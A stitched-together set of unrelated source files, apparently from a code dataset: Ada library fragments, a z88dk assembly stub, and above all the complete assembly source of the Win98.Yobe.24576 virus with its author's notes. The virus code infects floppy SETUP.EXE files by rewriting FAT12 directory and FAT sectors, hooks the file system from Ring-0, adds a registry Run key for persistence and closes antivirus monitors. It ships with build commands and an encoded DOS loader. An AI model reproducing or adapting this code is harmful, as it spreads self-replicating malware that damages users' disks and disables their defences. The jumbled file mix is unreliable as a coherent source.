-- This procedure can be used from a subprogram called by procedure Parse
-- or by an instantiation of For_Every_Line (see below).
function End_Of_Data
(Session : Session_Type) return Boolean;
function End_Of_Data
return Boolean;
pragma Inline (End_Of_Data);
-- Returns True if there is no more data to be processed in Session. It
-- means that the latest session's file is being processed and that
-- there is no more data to be read in this file (End_Of_File is True).
function End_Of_File
(Session : Session_Type) return Boolean;
function End_Of_File
return Boolean;
pragma Inline (End_Of_File);
-- Returns True when there is no more data to be processed on the current
-- session's file.
procedure Close (Session : Session_Type);
-- Release all associated data with Session. All memory allocated will
-- be freed, the current file will be closed if needed, the callbacks
-- will be unregistered. Close is convenient in reestablishing a session
-- for new use. Get_Line is no longer usable (will raise File_Error)
-- except after a successful call to Open, Parse or an instantiation
-- of For_Every_Line.
-----------------------------
-- For_Every_Line iterator --
-----------------------------
generic
with procedure Action (Quit : in out Boolean);
procedure For_Every_Line
(Separators : String := Use_Current;
Filename : String := Use_Current;
Callbacks : Callback_Mode := None;
Session : Session_Type);
generic
with procedure Action (Quit : in out Boolean);
procedure For_Every_Line_Current_Session
(Separators : String := Use_Current;
Filename : String := Use_Current;
Callbacks : Callback_Mode := None);
-- This is another iterator. Action will be called for each new
-- record. The iterator's termination can be controlled by setting Quit
-- to True. It is by default set to False. It is possible to specify a
-- filename and a set of separators directly. This offer a quick way to
-- parse a single file. These parameters will override those specified by
-- Set_FS and Add_File. By default the registered callbacks are not called
-- by For_Every_Line, this can activated by setting Callbacks (see
-- Callback_Mode description above). The Session will be opened and
-- closed automatically. File_Error is raised if there is no file
-- associated with Session. It raises Session_Error is Session is already
-- open.
private
type Session_Data;
type Session_Data_Access is access Session_Data;
type Session_Type is new Ada.Finalization.Limited_Controlled with record
Data : Session_Data_Access;
Self : not null access Session_Type := Session_Type'Unchecked_Access;
end record;
procedure Initialize (Session : in out Session_Type);
procedure Finalize (Session : in out Session_Type);
end GNAT.AWK;
|
LegacyWindows/Win98/Win98.Yobe.24576.asm | slowy07/malwareCode | 3 | 3329 | ?????????????????????????????????????????????????????????????????[yobe.asm]???
; ??????? ??????? ???????
; ??? ??? ??? ??? ??? ???
; Win98.Yobe.24576 ?????? ??????? ???????
; by Benny/29A ??????? ??????? ??? ???
; ??????? ??????? ??? ???
;
;
;
;Author's description
;?????????????????????
;
;Hey reader! R u st0ned or drunk enough? If not, then don't read this, coz this
;is really crazy. Let me introduce u FIRST FAT12 infector (cluster/directory
;virus, this is also used to call), fully compatible with windozes (Win98)!
;No no, that's not enough. This is also resident, multithreaded in both of
;Ring-0 and Ring-3 levels with anti-debugging, anti-heuristic, anti-emulator and
;anti-monitor features, using Win9X backdoor to call DOS services and working
;with CRC32, Windows registry and API functions.
;Among all these features, I don't hope it has any chances to spread outta
;world. It infects only diskettes (A: only) and only one file - SETUP.EXE. More
;crazy than u thought, nah? Yeah, I'm lazy so I didn't want to test my code on
;my harddisk and I also didn't want to think about infication of more than one
;file. When I finished Win98.BeGemot, I was totally b0red of those stupid PE
;headerz, RVAs and such like. I wanted to code something really original, not
;next average-b0ring virus. I hope I successed. This virus doesn't demonstrate
;only porting old techniques (c Dir-II virus) to new enviroment, but also
;hot-new techniques (e.g. Ring0 threads). To be this virus really heavilly
;armoured is missing some poly/meta engine. Unfortunately, this conception of
;virus doesn't allow me to implement such engines (neither compression), coz
;I can't modify virus code. However, I included many usefull trix to fool
;debuggerz as well as heuristic scannerz. Bad thing is that this babe is
;detectable by NODICE32 - NODICE32 can find suspicious code (such as modifying
;IDT) and so it immediately reports an unknown virus. There ain't chance to
;improve it, coz I can't use any kind of encryption. Fortunately, other AVs
;find sh!t :D. I hope u will like this piece of work (it took me much time to
;code it, albeit it is very small (code is small, headerz r huge :) and
;optimized) and u will learn much from that. U want probably ask me, why I didn't
;coded stealth virus. U r right, It's easy to implement full-stealth mechanism,
;but, but, ... I won't lie u - I'm lazy :).
;Gimme know, if u will have any comments, if u will find any bugs or anything
;else...thnx.
;
;
;
;What will happen on execution ?
;???????????????????????????????-
;
;Virus will:
;1) Setup up SEH frame
;2) Check for CRC32 of virus body
;3) Check for application level debugger
;4) Reset SEH frame and run anti-heuristic code
;5) Kill some AV monitors (AVP, AMON) + some anti-heuristic code
;6) Check for SoftICE
;7) Copy virus to internal buffer, create new Ring-3 thread and wait for
; its termination
;8) - Jump to Ring-0 (via IDT)
;9) - Check for residency and install itself to memory
;10) - Quit from Ring-0
;11) Restore host
;12) Execute host
;13) Restore host, so host will be infected again
;14) Set registry key, so virus will be executed everytime windows will
; start
;15) Check for payload activation time
;16) - Do payload
;17) Remove SEH frame and quit
;
;
;Virus in memory will:
;1) Check file name
;2) Create new Ring-0 thread and wait for its termination
;3) - Check for drive parameters (BOOT sector check)
;4) - Check for free space (FAT check)
;5) - Redirect cluster_ptr in directory structure (ROOT)
;6) - Write virus to the end of DATA area
;7) - Save back FAT, ROOT and SAVE area (internally used by virus)
;8) - Terminate Ring-0 thread
;9) Pass control to next IFS hooker
;
;
;
;Payload
;????????
;
;In possibility 1:255, virus will show icon on the left side of the screen and
;will rotate with it. U will c, how light-snake will be rolled on the screen.
;User will be really impressed! X-D I still can't stop watching it, it really
;hipnotized me ! :DDDDD.
;
;
;
;Known bugs
;???????????
;
;My computer will sometimes hang while system will try to read infected file.
;Maybe old FD drive, maybe some bugz in virus code. This appear only on my
;computer, so I hope it is error on my side.
;
;
;
;AVP's description
;??????????????????
;
;Benny's notes: This is much better description than at BeGemot virus. However,
;I would have some notes, see [* *] marx:
;
;
;Win95.Yobe [* Fully compatible with Win98, so why Win95? *]
;
;This is a dangerous [* why dangerous?! *] memory resident parasitic Windows
;virus. It uses system calls that are valid under Win95/98 only and can't spread
;under NT. The virus also has bugs and often halts the system when run [* when,
;where, why? *]. Despite on this the virus has very unusual way of spreading,
;and it is interesting enough from technical point of view [* I hope it is *].
;The virus can be found only in two files: "SETUP.EXE" on floppy disks and
;"SETUP .EXE" in the root of the C: drive (there is one space between file name
;and ".EXE" extension).
;
;On the floppy disks the virus uses a trick to hide its copy. It writes its
;complete code to the last disk sectors and modifies the SETUP.EXE file to read
;and execute this code.
;
;The infected SETUP.EXE file looks just as 512 bytes DOS EXE program, but it is
;not. While infecting this file the virus uses "DirII" virus method: by direct
;disk sectors read/write calls the virus gets access to disk directory sectors,
;modifies "first file cluster" field and makes necessary changes in disk FAT
;tables. As a result the original SETUP.EXE code is not modified, but the
;directory entry points to virus code instead of original file clusters.
;
;When the infected SETUP.EXE is run from the affected floppy disk this DOS
;component of the virus takes control, reads the complete virus body from the
;last sectors on the floppy disk, then creates the "C:\SETUP .EXE" file, writes
;these data (complete virus code) to there and executes. The virus installation
;routine takes control then, installs the virus into the system and disinfect
;the SETUP.EXE file on the floppy drive.
;
;While installing itself into the system the virus creates [* opens *] the new
;key in the system registry to activate itself on each Windows restart:
;
; HKLM\Software\Microsoft\Windows\CurrentVersion\Run
; YOBE=""C:\SETUP .EXE" YOBE"
;
;The virus then switches to the Windows kernel level (Ring0), allocates a block
;of system memory, copies itself to there and hooks disk file access Windows
;functions (IFS API). This hook intercepts file opening calls and on opening
;the SETUP.EXE file on the A: drive the virus infects it.
;
;The virus has additional routines. First of them looks for "AVP Monitor" and
;"Amon Antivirus Monitor" windows and closes them; the second one depending on
;random counter displays the line with the words "YOBE" to the left side of the
;screen [* this is usually called as payload :D *].
;
;
;
;Greetz
;???????
;
; B0z0 - Huh, guy, why don't u stay in VX and write
; another Padania virus? Just last one ;))
; <NAME> - Come to .cz! :D
; BitAddict - Nice to met ya. Kewl to met old TriDenTer.
; Darkman - Thank u for that wonderful book. It really
; r0x0r!!!
; Eddow - Would like to meet ya on IRC!
; GriYo - Hey man, just reply me once.
; Itchi - Drink, smoke and fuck again! :) Be back and
; learn to code, pal!
; Kaspersky - U cocksucker, where did u lose the description
; of BeGemot?!!
; Reptile - Smoke, smoke, smoke. This virus is really
; st0ned :D. Btw, still working on macro stuph? ;)
; StarZer0 - Bak infectorz aren't problem :D. Now, when I
; finished FAT12 inf., I will try to code
; multithreaded .txt infector ;)))
; - Fibers r cool, but threads rulez!!!
; The_Might -\
; MidNyte - > F0rk me a joint pleeeeeeaaazzzzz! :D
; Rhape97 -/
; All-nonsmokerz - Why do u drink and drive, when u can smoke
; and fly? X-DDD
; W33D - Thanx for inspiration, this virus is yourz,
; hehe :D.
; iKX stuph - Great work, men!!! XiNE#4 r0x0r!
;
;
;
;How to build
;?????????????
;
;brcc32 yobe.rc
;tasm32 -ml -q -m9 yobe.asm
;tlink32 -Tpe -c -x -aa yobe,,, import32,,yobe.res
;pewrsec yobe.exe
;
;
;
;Who is YOBE?
;???????????????????????????
;
;Many ppl will now laugh me (hi Darkman!, hi Billy!) :DD. Yobe was human, which
;role is situated in Bible. Nah, don't beat me, I'm not catholic. I only like
;stories and ppl in Bible. Yobe was human, which lost his religion. Ehrm,
;let's imagine it as "he stopped believing in what he believed". Story is all
;about that u shouldn't stop believe in what u believe. If u believe in better
;world, don't stop believing in it and do everything to become it truth, don't
;resignate. This ain't only about catholisism, it's about life and utophy.
;But NOW pick up your lazy ass and do anything, anything u think it's right,
;otherwise u won't get what u want!
;
;
;
;(c) 1999 Benny/29A. Enjoy!
.386p ;386 protected opcodez
.model flat ;flat model, 32bit offset
include win32api.inc ;include some structures
PC_WRITEABLE equ 00020000h ;equates used
PC_USER equ 00040000h ;in installation
PR_SHARED equ 80060000h ;stage
PC_PRESENT equ 80000000h
PC_FIXED equ 00000008h
PD_ZEROINIT equ 00000001h
IFSMgr_GetHeap equ 0040000Dh ;used services
IFSMgr_Ring0_FileIO equ 00400032h
IFSMgr_InstallFileSystemApiHook equ 00400067h
UniToBCSPath equ 00400041h
VMMCreateThread equ 00010105h
VMMTerminateThread equ 00010107h
_VWIN32_CreateRing0Thread equ 002A0013h
IFSMgr_Ring0_FileIO equ 00400032h
mem_size equ (virus_end-Start+0fffh+24576)/1000h
;size of virus in memory
VxDCall macro VxDService ;macro to call VxDCall
int 20h
dd VxDService
endm
extrn CreateFileA:PROC ;import APIz used by virus
extrn DeviceIoControl:PROC
extrn ExitProcess:PROC
extrn CloseHandle:PROC
extrn GetModuleFileNameA:PROC
extrn ReadFile:PROC
extrn CreateProcessA:PROC
extrn CopyFileA:PROC
extrn WaitForSingleObject:PROC
extrn DeleteFileA:PROC
extrn CreateThread:PROC
extrn GetCommandLineA:PROC
extrn RegCreateKeyExA:PROC
extrn RegSetValueExA:PROC
extrn RegCloseKey:PROC
extrn LoadIconA:PROC
extrn GetDC:PROC
extrn DrawIcon:PROC
extrn IsDebuggerPresent:PROC
extrn FindWindowA:PROC
extrn PostMessageA:PROC
.data ;data section
VxDName db '\\.\vwin32',0 ;vwin32 driver name
srcFile db 'a:\setup.exe',0 ;virus locations
dstFile db 'c:\setup.exe',0 ;on disk
regFile db '"C:\SETUP .EXE" ' ;in registry
regVal db 'YOBE',0
regSize = $-regFile
subKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0
sICE db '\\.\SICE',0 ;SoftICE driver name
ShItTyMoNs: ;monitors to kill
db 'AVP Monitor',0
db 'Amon Antivirus Monitor',0
lpsiStartInfo db 64 ;used by CreateProcessA
db 63 dup (?)
regCont: ;registers passed to API
regEBX dd offset ROOT
regEDX dd 19
regECX dd 14
regEAX dd ?
regEDI dd ?
regESI dd ?
regFLGS dd ?
tmp dd ? ;variable requiered by API
org tmp
hKey dd ? ;key to registry
lppiProcInfo:
hProcess dd ? ;handle to new process
hThread dd ? ;handle to new thread
dwProcessID dd ? ;ID of process
dwThreadID dd ? ;ID of thread
vbuffer db 24576 dup (?) ;buffer filled with virus file
org vbuffer
fname db 256 dup (?) ;name of virus file
ends ;end of data section
.code ;code section
Start: ;virus body starts here
@SEH_SetupFrame ;setup SEH frame
mov esi, offset _crc_ ;start of block
mov edi, crc_end-_crc_ ;size of block
call CRC32 ;check code integrity
cmp eax, 0DACA92DCh ;CRC32 match?
_crc_=$
jne r_exit ;no, quit (anti-breakpoint)
call IsDebuggerPresent ;check if any application level
test eax, eax ;based debugger is present
jne exit ;yeah, quit - anti-debugger
mov [eax], ebx ;cause stack overflow exception
jmp r_exit ;- anti-emulator
seh_jmp:@SEH_RemoveFrame ;reset SEH handler
@SEH_SetupFrame ;...
mov eax, cs ;load CS selector
xor al, al ;only LSB is set under WinNT
test eax, eax ;is WinNT active
je r_exit ;yeah, quit
db 0d6h ;anti-emulator
mov eax, esp ;save ESP to EAX
push cs ;save CS to stack
pop ebx ;get it back to EBX
cmp esp, eax ;match?
jne r_exit ;no, quit - anti-emulator
mov eax, fs:[20h] ;get debugger context
test eax, eax ;is there any?
jne exit ;yeah, quit - anti-debugger
mov esi, offset ShItTyMoNs ;pointer to stringz
xor edi, edi ;to AV monitors
push 2 ;2 monitors
pop ecx ;...
KiLlMoNs:
push ecx ;save counter
push esi ;AV string
push edi ;NULL
call FindWindowA ;find window
test eax, eax ;found?
je next_mon ;no, try to kill other monitor
push edi ;now we will send message
push edi ;to AV window to kill itself
push 12h ;veeeeeeery stupid X-DD
push eax
call PostMessageA ;bye bye, hahaha
next_mon:
sub esi, -0ch ;next monitor string
pop ecx ;restore counter
loop KiLlMoNs ;kill another one, if present
push cs ;store CS
push offset anti_l ;store offset to code
retf ;go there - anti-emulator
CRC32: push ebx ;I found this code in Int13h's
xor ecx, ecx ;tutorial about infectin'
dec ecx ;archives. Int13h found this
mov edx, ecx ;code in Vecna's Inca virus.
NextByteCRC: ;So, thank ya guys...
xor eax, eax ;Ehrm, this is very fast
xor ebx, ebx ;procedure to code CRC32 at
lodsb ;runtime, no need to use big
xor al, cl ;tables.
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
NextBitCRC:
shr bx, 1
rcr ax, 1
jnc NoCRC
xor ax, 08320h
xor bx, 0edb8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx, eax
xor edx, ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax, edx
rol eax, 16
mov ax, cx
ret
anti_l: mov edi, offset sICE ;pointer to SoftICE
call OpenDriver ;try to open its driver
jne exit ;SICE present, quit - anti-debugger
mov esi, offset fname ;where to store virus filename
push 256 ;size of filename
push esi ;ptr to filename
push 400000h ;base address of virus
call GetModuleFileNameA ;get virus filename
test eax, eax ;error?
je exit ;yeah, quit
xor eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
inc eax
ror eax, 1
push eax
push esi
call CreateFileA ;open virus file
inc eax ;error?
je exit ;yeah, quit
dec eax
xchg eax, esi
push 0
push offset tmp
push 24576 ;size of virus file
push offset vbuffer ;ptr to buffer
push esi
call ReadFile ;copy virus file to buffer
push eax
push esi
call CloseHandle ;and close virus file
pop ecx
jecxz exit
xor eax, eax
push offset tmp
push eax
push eax
push offset NewThread
push eax
push eax ;create new thread and let virus
call CreateThread ;code continue there
test eax, eax ;error?
je exit ;yeah, quit
mov word ptr [t_patch], 9090h ;allow execution of code -
push eax ; - anti-emulator
call CloseHandle ;close handle of thread
crc_end=$
e_patch:jmp $ ;this will be patched by thread
; - anti-emulator
exit: call GetCommandLineA ;get command-line
xchg eax, esi ;to esi
lodsb ;load byte
cmp al, '"' ;is it " ? If not, virus filename
jne regSet ;ain't long one - anti-AVer
lchar: lodsb ;load next byte
cmp al, '"' ;is it " ?
jne lchar ;no, continue
_lchar: lodsb ;load byte
cmp al, ' ' ;is it space?
je _lchar ;yeah, continue
test al, al ;is there any parameter?
jne regSet ;yeah, virus is loaded from
;C: drive -> no jump to host
mov edi, offset VxDName ;pointer to vwin32
call OpenDriver ;open driver
je regSet ;if error, quit
dec eax
mov [d_handle], eax ;store handle
mov eax, offset ROOT ;buffer for reading ROOT
push eax ;save ptr
call I25hSimple ;read ROOT
pop ebp ;get it back
jc c_exit ;if error, then quit
_f_cmp: mov esi, ebp ;get ptr to ROOT
push esi
lodsd
test eax, eax ;ZERO?
pop esi
je c_exit ;yeah, no more filez, quit
push 11 ;size of filename (8+3)
pop edi ;to EDI
call CRC32 ;calculate CRC32
cmp eax, 873F6A26h ;match?
je _fn_ok ;yeah, try to restore file
sub ebp, -20h ;no, get next directory record
jmp _f_cmp ;and try again
_fn_ok: mov edi, offset save ;load SAVE area sector from disk
mov [regEBX], edi
mov [regEDX], 2880-1 ;SAVE area = last sector in disk
mov [regECX], 1 ;one sector to read
call I25h ;read it
jc c_exit ;if error, then quit
push word ptr [ebp+1ah] ;store cluster_ptr
push dword ptr [ebp+1ch] ;store filesize
push word ptr [edi] ;restore cluster_ptr
pop word ptr [ebp+1ah] ;...
push dword ptr [edi+2] ;restore filesize
pop dword ptr [ebp+1ch] ;...
call WriteROOT ;restore directory record
pop dword ptr [ebp+1ch] ;restore filesize
pop word ptr [ebp+1ah] ;restore cluster_ptr
jc c_exit ;if error, then quit
mov ebx, offset dstFile ;destination path+filename
push 0
push ebx
push offset srcFile ;source path+filename
call CopyFileA ;copy virus from A: to C: drive
xchg eax, ecx ;error?
jecxz err_cpa ;yeah, quit
xor eax, eax
push offset lppiProcInfo
push offset lpsiStartInfo
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push ebx
call CreateProcessA ;execute original file (host)
xchg eax, ecx ;error?
jecxz err_cpa ;yeah, quit
mov ebp, [hProcess] ;get handle of host process
push -1 ;wait for its signalisation
push ebp ;...
call WaitForSingleObject ;...
push ebp
call CloseHandle ;close handle of host process
push dword ptr [hThread]
call CloseHandle ;close handle of host thread
err_cpa:call WriteROOT ;restore ROOT
push ebx
call DeleteFileA ;and delete host from C: drive
c_exit: push 12345678h ;get handle of vwin32 driver
d_handle = dword ptr $-4
call CloseHandle ;and close it
regSet: push offset tmp
push offset hKey
push 0
push 3
push 0
push 0
push 0
push offset subKey
push 80000002h
call RegCreateKeyExA ;open registry
test eax, eax
jne r_exit
push regSize
push offset regFile
push 1
push 0
push offset regVal
mov ebx, dword ptr [hKey]
push ebx ;set key - virus will be executed
call RegSetValueExA ;everytime Windows will start
push ebx
call RegCloseKey ;close registry
dw 310fh ;RDTCS
cmp al, 'Y' ;1:255 possibility
jne r_exit ;payload won't be activated
payload:push 0 ;payload will be activated
call GetDC ;get device context of desktop
xchg eax, ebx ;save HDC to EBX
push 29ah ;ID of icon
push 400000h ;base of virus
call LoadIconA ;load icon
xor edx, edx ;EDX=0
l_payload:
pushad ;store all registers
push eax ;icon handle
push edx ;Y possition
push 0 ;X possition
push ebx ;device context handle
call DrawIcon ;draw icon on desktop
popad ;restore all registers
sub edx, -30 ;increment Y possition
loop l_payload ;long payload :)
r_exit: @SEH_RemoveFrame ;remove SEH frame
push 0
call ExitProcess ;and exit
NewThread:
pushad ;store all registers
t_patch:jmp $ ;will be patched - anti-emulator
call EnterRing0 ;jmp to Ring-0
pushad ;store all registers
mov eax, dr0 ;get debug register
cmp eax, 'YOBE' ;check if we r already resident
je quitR0 ;yeah, quit
push 24576
VxDCall IFSMgr_GetHeap ;alocate memory for our virus
pop edx ;correct stack
xchg eax, edi ;get address to EDI
test edi, edi ;error?
je quitR0 ;yeah, quit
push edi ;copy virus file to memory
mov esi, offset vbuffer ;from
mov ecx, 24576/4 ;how many
rep movsd ;move!
pop ebp
mov [ebp + 600h+membase-Start], ebp ;save address
lea eax, [ebp + 600h+NewIFSHandler-Start]
push eax ;pointer to new handler
VxDCall IFSMgr_InstallFileSystemApiHook ;install file system hook
pop edx ;correct stack
mov [ebp + 600h+OldIFSHandler-Start], eax
mov eax, 'YOBE' ;mark debug register as "already
mov dr0, eax ;resident flag" - anti-debugger
quitR0: mov dword ptr [p_jmp], 90909090h ;patch code - anti-emulator
popad ;restore all registers
iretd ;and quit from Ring-0
EnterRing0: ;Ring0 port
pop eax ;get address
pushad ;store registers
sidt fword ptr [esp-2] ;load 6byte long IDT address
popad ;restore registers
sub edi, -(8*3) ;move to int3
push dword ptr [edi] ;save original IDT
stosw ;modify IDT
inc edi ;move by 2
inc edi ;...
push dword ptr [edi] ;save original IDT
push edi ;save pointer
mov ah, 0eeh ;IDT FLAGs
stosd ;save it
push ds ;save some selectors
push es ;...
int 3 ;JuMpToRiNg0!
pop es ;restore selectors
pop ds ;...
pop edi ;restore ptr
add edi, -4 ;move with ptr
pop dword ptr [edi+4] ;and restore IDT
pop dword ptr [edi] ;...
p_jmp: inc eax ;some silly loop to fool
cdq ;some AVs. Will be overwritten
jmp p_jmp ;with NOPs l8r by int handler
mov word ptr [e_patch], 9090h ;again, new overwriting of code
popad ; - anti-emulator
ret ;restore all registers and quit
OpenDriver:
xor eax, eax
push eax
push 4000000h
push eax
push eax
push eax
push eax
push edi
call CreateFileA ;open driver
inc eax ;increment handle
ret ;quit
NewIFSHandler: ;file system handler
enter 20h, 0 ;reserve space in stack
push dword ptr [ebp+1ch] ;for parameters
push dword ptr [ebp+18h]
push dword ptr [ebp+14h] ;store parameters
push dword ptr [ebp+10h] ;for next handler
push dword ptr [ebp+0ch]
push dword ptr [ebp+08h]
cmp dword ptr [ebp+0ch], 24h ;open?
jne quitHandler ;no, quit
pushad ;store all registers
call gdlta ;get delta offset
gdelta: db 0b8h ;prefix - anti-disassembler
gdlta: pop ebx ;and anti-lamer
xor ecx, ecx ;ECX=0
mov cl, 1 ;ECX=0 or 1
semaphore = byte ptr $-1
jecxz exitHandler ;semaphore set? then quit
mov byte ptr [ebx + semaphore - gdelta], 0
;set semaphore
lea edi, [ebx + filename - gdelta] ;get filename
mov al, [ebp+10h] ;get disk no.
dec al ;is it A: ?
jne exitHandler ;no, quit
mov al, 'A' ;add A letter
stosb ;store it
mov al, ':' ;add : letter
stosb ;store it
wegotdrive:
xor eax, eax
push eax
inc ah
push eax
mov eax, [ebp+1ch]
mov eax, [eax+0ch]
sub eax, -4
push eax
push edi
VxDCall UniToBCSPath ;convert UNICOE filename to ANSI
sub esp, -10h ;correct shitty stack
mov byte ptr [edi+eax], 0 ;and terminate filename with \0
mov esi, edi
dec esi
dec esi
xchg eax, edi
inc edi
inc edi
inc edi
call CRC32 ;calculate CRC32 of filename
cmp eax, 0B4662AD0h ;is it "A:\SETUP.EXE,0" ?
je setup_exe ;yeah, continue
exitHandler:
mov byte ptr [ebx + semaphore - gdelta], 1 ;set semaphore
popad ;restore all registers
quitHandler:
mov eax, 12345678h
OldIFSHandler = dword ptr $-4
call [eax] ;jump to next handler
sub esp, -18h ;correct stack
leave
ret ;and quit
setup_exe:
mov ecx, 1000h ;thread stack
lea ebx, [ebx + Thread_Infect - gdelta] ;address of thread proc
xor esi, esi ;next crappy parameter
VxDCall _VWIN32_CreateRing0Thread ;create new Ring-0 thread
jmp exitHandler ;and quit
; - anti-everything
db 0b8h ;prefix - anti-disassembler
Thread_Infect: ;Ring-0 thread proc
pushad ;store all registers
jmp ti_next ;jump over
db 3 dup (?) ;leave code be overwritten
ti_next:call tigdelta ;get delta offset
ti_gdelta db 0b8h ;next prefix
tigdelta:
pop ebx
xor ecx, ecx
inc ecx
lea esi, [ebx + BOOT - ti_gdelta] ;read BOOT sector
call Int25h
jc exit_thread
cmp [ebx + BOOT+0bh - ti_gdelta], 01010200h ;check, if diskette is
jne exit_thread ;1,44MB, check FAT and
cmp word ptr [ebx + BOOT+0fh - ti_gdelta], 0200h;ROOT possition
jne exit_thread
push 9
pop ecx
cmp word ptr [ebx + BOOT+16h - ti_gdelta], cx ;...
jne exit_thread ;no, its not 1,44MB FD
lea esi, [ebx + FAT - ti_gdelta]
inc edx
call Int25h ;read FAT
cmp byte ptr [esi], 0f0h ;check if it is 1,44MB
jne exit_thread ;no, quit
lea edi, [ebx + FAT+4223 - ti_gdelta] ;check FAT, if last sectors r
mov ebp, edi ;free
xor eax, eax
sFAT: scasd
jne exit_thread ;no, quit
loop sFAT
mov edi, ebp ;now we will mark FAT, last
inc edi ;sectors will be marked as
mov eax, 0ff0ff00h ;RESERVED
push 73 ;coz we infect 12bit FAT, we
pop ecx ;use this loop to mark it so
markFAT:ror eax, 8
test al, al
je markFAT
stosb
loop markFAT
mov byte ptr [edi], 0fh ;mark end
call ROOTinit
call Int25h ;read ROOT
f_cmp: mov esi, ebp ;get ptr to ROOT
push esi
lodsd
test eax, eax ;ZERO?
pop esi
je exit_thread ;yeah, no more filez, quit
push 11
pop edi
call CRC32 ;calculate CRC32 of file
cmp eax, 873F6A26h ;is it SETUP.EXE?
je fn_ok ;yeah, continue
sub ebp, -20h ;no, process next directory rec.
jmp f_cmp ;...
fn_ok: mov ax, [ebp+1ah] ;save cluster_ptr
mov [ebx + save - ti_gdelta], ax
mov eax, [ebp+1ch] ;save filesize
mov [ebx + save+2 - ti_gdelta], eax
mov word ptr [ebp+1ah], 2800 ;new cluster_ptr
mov dword ptr [ebp+1ch], 512 ;new filesize
xor ecx, ecx
inc ecx
lea esi, [ebx + loader - ti_gdelta]
mov edx, 2880-49
call Int26h ;write DOS loader
push 42
pop ecx
mov esi, [ebx + membase - ti_gdelta]
mov edx, 2880-48 ;write virus
call Int26h
xor ecx, ecx
inc ecx
lea esi, [ebx + save - ti_gdelta]
mov edx, 2880-1
call Int26h ;write SAVE area
call ROOTinit
call Int26h ;write ROOT
push 9
pop ecx
lea esi, [ebx + FAT - ti_gdelta]
xor edx, edx
inc edx
pushad
call Int26h ;write first FAT
popad
sub dl, -9
call Int26h ;write second FAT
exit_thread:
popad ;restore all registers
ret ;and exit
ROOTinit: ;procedure to initialize
push 14 ;registers for reading/writing
pop ecx ;ROOT
push 19
pop edx
lea esi, [ebx + ROOT - ti_gdelta]
mov ebp, esi
ret
Int26h: mov eax, 0DE00h ;write sectors
jmp irfio
Int25h: mov eax, 0DD00h ;read sectors
irfio: VxDCall IFSMgr_Ring0_FileIO
ret
WriteROOT: ;code used to write sectorz
mov [regEBX], offset ROOT ;pointer to ROOT field
mov [regEDX], 19 ;sector number of ROOT
mov [regECX], 14 ;sectors to write
I26h: mov [p2526], 3 ;set WRITE mode
jmp i2526 ;continue
I25h: mov [p2526], 2 ;set READ mode
i2526: and [regEAX], 0 ;zero EAX
I25hSimple:
push 0
push offset tmp
push 28
push offset regCont
push 28
push offset regCont
push 2
p2526 = byte ptr $-1
push dword ptr [d_handle]
call DeviceIoControl ;backdoor used to call DOS services
xchg eax, ecx ;error?
jecxz q2526h ;yeah, set CF and quit
clc ;clear CF
ret ;quit
q2526h: stc ;set CF
ret ;and quit
loader: ;DOS loader
include loader.inc
ldrsize = $-loader ;size of DOS loader
membase dd 'YYYY' ;address, where is virus placed in memory
filename db 100h dup ('Y') ;filename
save db 512 dup ('Y') ;save area
BOOT db 512 dup ('Y') ;BOOT
FAT db 4608 dup ('Y') ;FAT
ROOT db 7168 dup ('Y') ;ROOT
virus_end: ;virus ends here
ends ;end of code section
End Start ;thats all f0lx ;)
?????????????????????????????????????????????????????????????????[yobe.asm]???
???????????????????????????????????????????????????????????????[LOADER.INC]???
dd 5A4Dh
dd 1
dd 5410010h
dd 0FFFFh
dd 0
dd 0
dd 1Ch
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 8EC0331Eh
dd 901EC4D8h
dd 1E892E00h
dd 8C2E008Dh
dd 0C7008F06h
dd 9B009006h
dd 920E8C00h
dd 1F0E0E00h
dd 2AB907h
dd 0BB0B10BAh
dd 25CD00CBh
dd 0B8587258h
dd 0DB33716Ch
dd 0BAC93343h
dd 9EBE0012h
dd 7221CD00h
dd 40B49346h
dd 0B900CBBAh
dd 21CD6000h
dd 3EB43972h
dd 2E0721CDh
dd 0BF068Ch
dd 48BB4AB4h
dd 1E21CD05h
dd 77168C06h
dd 7C268900h
dd 0B8070E00h
dd 0BBBB4B00h
dd 0ACBA00h
dd 34B821CDh
dd 0BCD08E12h
dd 1F071234h
dd 0ACBA41B4h
dd 3321CD00h
dd 66D88EC0h
dd 34567868h
dd 68F6612h
dd 0B80090h
dd 0B021CD4Ch
dd 3A43CF03h
dd 5445535Ch
dd 2E205055h
dd 455845h
dd 535C3A43h
dd 50555445h
dd 452E317Eh
dd 4558h
dd 8100h
dd 0FFFFFF00h
dd 0FFFFFFFFh
dw 0EFFh
db 0
???????????????????????????????????????????????????????????????[LOADER.INC]???
|
libsrc/_DEVELOPMENT/compress/zx0/c/sdcc/dzx0_standard.asm | ahjelm/z88dk | 640 | 90295 |
; void dzx0_standard(void *src, void *dst)
SECTION code_clib
SECTION code_compress_zx0
PUBLIC _dzx0_standard
EXTERN asm_dzx0_standard
_dzx0_standard:
pop af
pop hl
pop de
push de
push hl
push af
jp asm_dzx0_standard
|
src/tk/tk-wm.adb | thindil/tashy2 | 2 | 1705 | -- Copyright (c) 2021 <NAME> <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Ada.Strings; use Ada.Strings;
with Ada.Strings.Fixed; use Ada.Strings.Fixed;
with Ada.Strings.Unbounded; use Ada.Strings.Unbounded;
with System;
with Tcl.Variables;
package body Tk.Wm is
